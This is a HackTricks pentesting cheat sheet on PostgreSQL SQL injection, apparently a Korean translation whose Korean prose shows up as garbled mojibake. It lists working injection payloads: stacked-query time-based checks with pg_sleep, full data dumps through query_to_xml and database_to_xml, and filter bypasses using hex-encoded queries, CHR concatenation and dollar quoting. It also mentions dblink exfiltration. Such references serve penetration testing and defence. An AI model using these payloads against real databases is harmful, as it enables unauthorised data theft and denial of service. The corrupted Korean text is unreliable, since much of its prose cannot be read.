PostgreSQL injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ PostgreSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ฐ๊ฒฌ๋ SQL ์ธ์ ์ ์ ์ ์ฉํ๋ ๋ฐ ๋์์ด ๋ ์ ์๋ ๋ค์ํ ํธ๋ฆญ์ ์ค๋ช ํ๊ณ , https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md ์์ ์ฐพ์ ์ ์๋ ํธ๋ฆญ์ ๋ณด์ํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค.
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL ๋ชจ๋ dblink**๋ ๋ค๋ฅธ PostgreSQL ์ธ์คํด์ค์ ์ฐ๊ฒฐํ๊ณ TCP ์ฐ๊ฒฐ์ ์คํํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ฌํ ๊ธฐ๋ฅ์ COPY FROM ๊ธฐ๋ฅ๊ณผ ๊ฒฐํฉ๋์ด ๊ถํ ์์น, ํฌํธ ์ค์บ๋ ๋ฐ NTLM ์ฑ๋ฆฐ์ง ์๋ต ์บก์ฒ์ ๊ฐ์ ์์
์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ด ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์.
dblink ๋ฐ ๋์ฉ๋ ๊ฐ์ฒด๋ฅผ ์ฌ์ฉํ ๋ฐ์ดํฐ ์ ์ถ ์์
์ด ์์ ๋ฅผ ์ฝ์ด๋ณด์ธ์ ๋์ฉ๋ ๊ฐ์ฒด ๋ด์ ๋ฐ์ดํฐ๋ฅผ ๋ก๋ํ ๋ค์ ํจ์ dblink_connect์ ์ฌ์ฉ์ ์ด๋ฆ ๋ด์์ ๋์ฉ๋ ๊ฐ์ฒด์ ๋ด์ฉ์ ์ ์ถํ๋ CTF ์์ ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
PostgreSQL Attacks: Read/write, RCE, privesc
PostgreSQL์์ ํธ์คํธ๋ฅผ ์์์ํค๊ณ ๊ถํ์ ์์น์ํค๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์:
5432,5433 - Pentesting Postgresql
WAF ์ฐํ
PostgreSQL ๋ฌธ์์ด ํจ์
๋ฌธ์์ด์ ์กฐ์ํ๋ฉด WAF ๋๋ ๊ธฐํ ์ ํ์ ์ฐํํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
์ด ํ์ด์ง์์ ์ ์ฉํ ๋ฌธ์์ด ํจ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
์คํ ์ฟผ๋ฆฌ
PostgreSQL์ ์คํ ์ฟผ๋ฆฌ๋ฅผ ์ง์ํ์ง๋ง, ์ฌ๋ฌ ์๋ต์ด ๋ฐํ๋ ๋ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ง์ต๋๋ค. ๊ทธ๋ฌ๋ ์ฌ์ ํ ์๊ฐ ์ฃผ์ ์ ํตํด ์คํ ์ฟผ๋ฆฌ๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks
query_to_xml
์ด ํจ์๋ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ XML ํ์์ผ๋ก ๋จ์ผ ํ์ผ์ ๋ฐํํฉ๋๋ค. ๋ง์ ๋ฐ์ดํฐ๋ฅผ ๋จ 1ํ์ผ๋ก ๋คํํ๋ ค๋ ๊ฒฝ์ฐ์ ์ด์์ ์ ๋๋ค:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
์ด ํจ์๋ ์ ์ฒด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ XML ํ์์ผ๋ก ๋จ 1ํ์ ๋คํํฉ๋๋ค(๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋งค์ฐ ํด ๊ฒฝ์ฐ DoS ๊ณต๊ฒฉ์ ํ๊ฑฐ๋ ์ฌ์ง์ด ์์ ์ ํด๋ผ์ด์ธํธ์ ์ํฅ์ ์ค ์ ์์ผ๋ ์ฃผ์ํ์ธ์):
SELECT database_to_xml(true,true,'');
Strings in Hex
๋ง์ฝ ์ฟผ๋ฆฌ๋ฅผ ๋ฌธ์์ด ์์ ์ ๋ฌํ ์ ์๋ค๋ฉด (์๋ฅผ ๋ค์ด query_to_xml ํจ์๋ฅผ ์ฌ์ฉํ์ฌ). ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ฌธ์์ด์ ํฅ์ค(hex)๋ก ์ ๋ฌํ๊ณ ํํฐ๋ฅผ ์ฐํํ๊ธฐ ์ํด convert_from์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Forbidden quotes
์ธ์ฉ๋ถํธ๋ฅผ ํ์ด๋ก๋์ ์ฌ์ฉํ ์ ์๋ ๊ฒฝ์ฐ, ๊ธฐ๋ณธ ์ ์ ์ํด CHR๋ฅผ ์ฌ์ฉํ์ฌ ์ฐํํ ์ ์์ต๋๋ค (๋ฌธ์ ์ฐ๊ฒฐ์ SELECT, INSERT, DELETE ๋ฑ๊ณผ ๊ฐ์ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ์๋ง ์๋ํฉ๋๋ค. ๋ชจ๋ SQL ๋ฌธ์ ๋ํด ์๋ํ์ง ์์ต๋๋ค):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
๋๋ $๋ฅผ ์ฌ์ฉํ์ฌ. ์ด ์ฟผ๋ฆฌ๋ ๋์ผํ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํฉ๋๋ค:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


